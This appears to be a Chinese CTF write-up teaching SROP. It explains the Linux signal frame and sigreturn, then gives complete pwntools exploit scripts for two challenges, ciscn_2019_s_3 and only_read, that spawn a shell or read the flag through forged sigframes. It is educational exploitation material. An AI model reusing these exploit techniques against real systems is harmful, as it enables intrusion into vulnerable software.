0x00
想起来好像没学,学一下
0x01 前置知识 signal机制
signal机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 SignalFrame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出 x64 的 sigcontext
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; };
struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
|
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
sigreturn的特殊之处:sigreturn是一个非常特殊的系统调用。内核处理它时,并不会走常规的sysret返回路径。相反,它会:
一、根据当前用户态的rsp找到sigframe。
二、从sigframe中读取包括rip和rsp在内的所有通用寄存器的值。将这些值强制恢复到CPU的实际寄存器中。
三、最后,通过一个特殊的指令(如iret或sysret,但操作数已被修改)将控制权交还给用户空间,此时CPU将从被恢复的rip地址开始执行,并且栈指针也已经切换为被恢复的rsp值
最后总结一下信号处理流程
信号传递(Kernel to User):
- 内核决定向一个用户进程传递信号。在切换回用户态之前,内核会在该进程的用户栈上创建一个
sigframe。
- 这个
sigframe保存了进程被中断时的完整上下文(寄存器状态、信号掩码等)。
- 在
sigframe的底部,内核会放置一段调用sigreturn系统调用的代码片段作为handler返回地址。
- 内核修改进程的
rip,使其指向信号处理函数(signal handler),并创建handler的栈帧
信号处理函数执行(User Space):
- 进程返回用户态,开始执行信号处理函数。
- 此时,栈的布局大致如下(栈向低地址方向增长):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| +---------------------------+ <-- 高地址 | ... (原始栈内容) ... | +---------------------------+ | | | sigframe | | | +---------------------------+ | Return Address for | (调用sigreturn) | Handler | +---------------------------+ | Handler's saved RBP | +---------------------------+ | | | Handler's Local Variables| (handler的栈帧) | | +---------------------------+ <-- rsp (在handler执行过程中的位置)
|
从信号处理函数返回(User to Kernel):
- 当信号处理函数执行
ret指令,返回到调用sigreurn
- 调用
sigreurn的片段的核心就是 mov rax, 15; syscall (在x86-64中,15是rt_sigreturn的系统调用号)。
执行sigreturn(The Crucial Moment):
- 执行
syscall指令 (pop进rip),rsp现在正好指向了sigframe的起始位置
- 内核接管控制,执行
sigreturn
- 内核相信此时的
rsp正指向一个合法的sigframe(不检查)。它从rsp指向的内存地址开始,解析sigframe,并将其中保存的寄存器值恢复到CPU中。
- 恢复完成:进程的
rip、rsp以及其他所有寄存器都回到了信号发生前的状态。控制权返回用户空间,进程从被中断的地方“无缝”地继续执行,就好像什么都没发生过一样。原先为sigframe所占用的栈空间也自然而然地被“丢弃”了,因为rsp已经被恢复到了更高的地址。
0x02 攻击原理
攻击原理就很简单了,就是伪造signal Frame,触发sigreturn调用,控制寄存器和控制流,这也就是SROP的本质
SROP简要流程:
1
| 构造 fake_frame --> 控制当前 rsp 指向 fake_frame 底部 --> sigreturn 调用
|
pwntools集成了SROP的模块,可以帮助制作fake_frame:
1 2 3 4 5 6 7 8
| // e.g. sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret
|
一般来说在栈溢出进行ROP写调用sigreturn,然后在syscall后写入sigframe即可,需要注意的是,因为 sigreturn 系统调用 不会像普通函数一样返回到下一条 ret,内核会直接修改用户态寄存器,并跳转到 sigframe.rip,所以我们需要确保的是 sigreturn 系统调用之后rsp指向sigframe底部(在syscall之后写入sigframe,执行sigreturn时将syscall指令pop rip后rsp正好指向sigframe)
需要注意的是,当我们构造srop_chain时候,sigframe.rip必须指向syscall_ret (至少这个gadget不会改变rsp),因为中途不可以打乱rsp指向,我们需要控制好rsp确保每次调用sigreturn时都指向目标sigframe


另外,对于sigFrame中用不到的位置是可以进行空间复用的,可以应对长度有所限制的情况,详见0x04例题
0x03 ciscn_2019_s_3
题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __fastcall main(int argc, const char **argv, const char **envp) { return vuln(argc, argv, envp); }
signed __int64 vuln() { signed __int64 v0; char buf[16];
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL); }
|
存在gadget
1 2 3 4 5 6 7 8
| .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn ... .text:00000000004004E2 mov rax, 3Bh ; ';' .text:00000000004004E9 retn ... .text:0000000000400517 syscall ; LINUX - sys_write .text:0000000000400519 retn
|
这题比较简单,除了SROP还可以打ret2csu,这里分析SROP.
调试发现这题有点怪的点就是缓冲区没有调整rsp来扩容,而是直接通过[rsp-0x10]来索引,猜测是直接使用两个系统调用函数以及缓冲区较小的原因,看调用write前的栈帧
1 2 3 4 5 6 7 8 9
| pwndbg> stack 00:0000│ rbp rsp 0x7ffc0eb5e670 —▸ 0x4004ed (vuln) ◂— push rbp 01:0008│+008 0x7ffc0eb5e678 —▸ 0x400536 (main+25) ◂— nop 02:0010│+010 0x7ffc0eb5e680 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched' 03:0018│+018 0x7ffc0eb5e688 ◂— 0x100000000 04:0020│+020 0x7ffc0eb5e690 —▸ 0x400540 (__libc_csu_init) ◂— push r15 05:0028│+028 0x7ffc0eb5e698 —▸ 0x785c98a21c87 (__libc_start_main+231) ◂— mov edi, eax 06:0030│+030 0x7ffc0eb5e6a0 ◂— 0x2000000000 07:0038│+038 0x7ffc0eb5e6a8 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched'
|
看到栈上保留了栈地址0x7ffc0eb5e778会被输出,与buf的偏移是0x7ffc0eb5e778 - (rsp-0x10) = 0x118,接下来buf写/bin/sh然后进行SROP即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node5.buuoj.cn" port = 27615 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
mov_rax_15_ret = 0x4004da mov_rax_59_ret = 0x4004e2 syscall_ret = 0x400517 vuln_addr = 0x4004ed
payload = b'a'*0x10 + p64(vuln_addr) io.send(payload)
io.recvuntil(b'a'*0x10) io.recv(0x10) stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x118 log.info("stack_addr --> "+hex(stack_addr))
sigFrame = SigreturnFrame() sigFrame.rax = 59 sigFrame.rdi = stack_addr sigFrame.rsi = 0x0 sigFrame.rdx = 0x0 sigFrame.rip = syscall_ret
payload = b'/bin/sh\x00'*2 + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(sigFrame) io.send(payload)
io.interactive()
|
0x04 NewStarCTF2025 only_read
题目关键函数
1 2 3 4 5 6
| ssize_t vuln() { _BYTE buf[16];
return read(0, buf, 0x100uLL); }
|
同时给了
1 2 3
| .text:0000000000401366 mov rax, 0Fh .text:000000000040136D syscall ; LINUX - sys_rt_sigreturn .text:000000000040136F retn
|
我们发现这里长度只给了0x100,而一般sigFrame的长度是0xf8(可以直接看pwntools生成的frame长度)
这时候就需要我们进行空间复用了
先栈迁移到已知的rw内存方便控制,然后写入sigFrame,我们看dump出来的sigFrame的前后是存在许多空字节,我们大概率可以复用,并且因为我们可以简单暴力的利用SROP来劫持所有寄存器,所以迁移时候第二次leave也就是mov rsp, rbp;pop rbp时候要pop进rbp的位置也可以拿来复用
开了沙箱,进行orw即可,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6_2.35-0ubuntu3.11_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "8.147.132.32" port = 25201 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b vuln set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/libc6-dbg_2.35-0ubuntu3.11_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.11/amd64/glibc-source_2.35-0ubuntu3.11_all/usr/src/glibc/glibc-2.35 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
io = start()
sigret = 0x401366 syscall_ret = 0x40136d main = 0x401373 rw = 0x404000 leave_ret = 0x401360 call_read = 0x401349
sigFrame = SigreturnFrame() sigFrame.rax = 2 sigFrame.rdi = rw + 0x800 + 0x10 sigFrame.rsi = 0 sigFrame.rdx = 0 sigFrame.rip = syscall_ret sigFrame.rsp = rw + 0x800 - 0x10 sigFrame.rbp = rw + 0x600
log.info("frame len --> "+hex(len(sigFrame))) log.info("sigframe --> "+hexdump(sigFrame))
payload = b'a'*0x10 + p64(rw + 0x800) + p64(call_read) io.send(payload.ljust(0x100, b'\x00'))
payload = p64(call_read) + p64(sigret) + p64(rw + 0x800 - 0x10) + p64(leave_ret) + b'./flag\x00\x00' + bytes(sigFrame)[0x18:-0x8] io.send(payload.ljust(0x100, b'\x00'))
sigFrame = SigreturnFrame() sigFrame.rax = 40 sigFrame.rdi = 1 sigFrame.rsi = 3 sigFrame.rdx = 0 sigFrame.r10 = 0x100 sigFrame.rip = syscall_ret
log.info("frame len --> "+hex(len(sigFrame))) log.info("sigframe --> "+hexdump(sigFrame))
payload = p64(rw) + p64(sigret) + p64(rw + 0x600 - 0x10) + p64(leave_ret) + bytes(sigFrame)[0x10:-0x8] io.send(payload.ljust(0x100, b'\x00'))
io.interactive()
|
效果
1 2 3 4 5
| [*] Switching to interactive mode [DEBUG] Received 0x2b bytes: b'flag{8cd26991-3994-4526-a4c6-3f516b4003ef}\n' flag{8cd26991-3994-4526-a4c6-3f516b4003ef} $
|